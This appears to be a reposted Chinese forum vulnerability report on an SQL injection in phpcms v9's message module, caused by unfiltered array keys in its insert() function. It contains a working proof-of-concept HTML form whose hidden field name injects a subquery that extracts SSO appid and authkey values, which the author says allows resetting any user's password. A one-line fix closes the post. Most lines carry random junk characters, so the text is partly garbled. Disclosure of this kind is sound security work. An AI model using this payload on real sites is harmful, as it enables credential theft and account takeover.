|
简要描述:8 W3 _3 d5 }& E! ~' w
2 M9 Z) `3 v, L; u5 z% V# g5 S1 M# O( a
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。+ C, j* e/ k9 ?: L4 Y5 k) e4 e
- |+ k: [% Q1 L6 z
明天再更新下一个漏洞。3 D3 ]6 N2 R% [( h
详细说明:& ?8 g* ^3 m* l7 C
在/phpcms9/phpcms/modules/message/index.php中有代码如下:' ~* i5 [4 q7 O
- u! E- E- ? h. g k" n
$messageid = $this->message_db->insert($_POST['info'],true);( _/ R, b9 W5 p, o! o- {: k
9 }. B9 S- S" }& U
* t. H1 V( Q5 J, s9 [; u% [
insert方法是key value的,代码如下:
6 `4 H6 G; l+ S" `) e
+ A4 w+ M: B# A* vpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
# K2 |& h W: d1 C; r if(!is_array( $data ) || $table == '' || count($data) == 0) {9 i+ R8 d9 Q1 Q3 b1 M ?6 o2 E
return false;$ D! V" R' W$ ^, q1 u1 J
}- _* V6 @! [ ?% @5 ^. ^- g! K6 `
+ J9 \) w \ }- j4 } $fielddata = array_keys($data);
& F0 H) v6 Z! s3 Z: g, V $valuedata = array_values($data);
9 }$ }8 ]- E+ x2 t {; a( r1 W7 T array_walk($fielddata, array($this, 'add_special_char'));
0 w8 u' g. p* _. I* L array_walk($valuedata, array($this, 'escape_string'));) e6 P ]: }7 r
- w, b2 ~; T7 ?, K
$field = implode (',', $fielddata);
' H* ?! W0 L2 m* G! R: [ $value = implode (',', $valuedata);7 B4 N6 h: m4 S/ g
+ w. Q T9 u4 ~9 w/ s
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';) z% y! @1 E" |5 @6 M
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')'; C; c9 x- j N' C
$return = $this->execute($sql);
/ i$ a Q$ K2 B: Z+ n( ` return $return_insert_id ? $this->insert_id() : $return;
5 u* F( M- ^2 v- L" X }
3 K0 Z0 P8 N n/ m4 I/ B
: a- J. L/ v! u+ Z+ m: z! p0 q5 Z# t2 L
嗯,很遗憾的是 ~# b9 L" l& N4 p0 d- D
5 {* [/ U8 y ~0 H1 S$ i$ I yarray_walk($fielddata, array($this, 'add_special_char'));1 o" M* w! m. ~- F" R9 F
. l; @9 B8 L3 c# v. } `* {. O
6 ^+ @, `2 B+ B( l( O9 G中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。3 x$ I3 v. T8 Y. f6 V
X5 \6 [" A5 |0 k5 a0 j
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
) C* x& h+ }2 `5 R; h' o+ Q. x
: Y! ~2 L, V$ c0 p; w: t# G( r漏洞证明:
+ m+ I. D# m5 _; f7 U读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
+ o& L* w+ w" C, |- a! a: {. b" F) ^7 I( R x! J# i( T
+ p+ Y& o w& C+ R0 T表单如下:用户名什么的得自己改一改。9 u' b/ d" @) f
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
`1 s: R, [6 A7 A* ~<table width="100%" cellspacing="0" class="table_form">6 O5 J! j$ E, |0 R: i
<tr>
8 {; \ I* b6 H$ T<th>标 题:</th>5 I% x9 E. G0 X
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>5 Z1 ~& g3 |+ J, O& W! D, k
</tr> 9 }7 j; | ?1 n) K) u4 S \
<tr>! \0 Q0 b' ]8 _6 v6 z
<th>内 容:</th>
6 C! j- |- [. U0 ]4 ?7 z2 P<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
+ v0 ~+ c6 r- m1 a</tr>2 X2 T+ P1 {; t6 O9 I, Y- S0 I9 P: M/ G
<input type="hidden" name="info[replyid]" value="2" /> 1 T1 \, R) W* B8 j; ?0 F( @2 G, Y
<input type="hidden" name="info[send_to_id]" value="cc" />
9 y, W- ?6 I7 W- W6 m$ ]<input type="hidden" name="info[send_from_id]" value="hh">% z2 H0 M" [' o; V3 o# z
<!-- 漏洞的利用重点在这里开始 -->9 C* E* V( r/ e. i8 u
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
, U9 ]# b3 ]5 l8 w9 [1 @<!-- 漏洞的利用重点在这里结束 --> Q2 e$ v8 q, i+ c/ `
<tr>
7 N/ @& a2 {6 v, T4 W* U<th>验证码:</th>1 A/ ]9 g) T5 ?) L' h& ]0 U) u
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
$ r# Z1 Y I2 C# F</tr>) H. k% F1 X. s6 z& S, T; N1 ^! R
<tr>
9 Y l9 Y- \/ t" v& W8 p<td></td>
! d$ |& g' F& \<td colspan="2"><label>' m9 G- ]+ _. Y3 {" R f
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>. n) P' ^: y! b# o& S
</label></td>
* x5 e% \8 K" ?# O1 M</tr>
% h6 y+ a9 N$ ?4 v7 C2 L3 L( H</table>
, i7 M; e$ s" F6 B) }</form>
4 D Q }) D8 n! ^: n- l9 P: F在add_special_char函数内对key做过滤就可以了。/ j) v$ [) s: f
* b y( ^ ]' K9 w0 |3 }7 `
e% U! \# G j$ {8 @% T0 D1 S
- c! F( [( I9 w- N9 N( @' m: m2 z |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|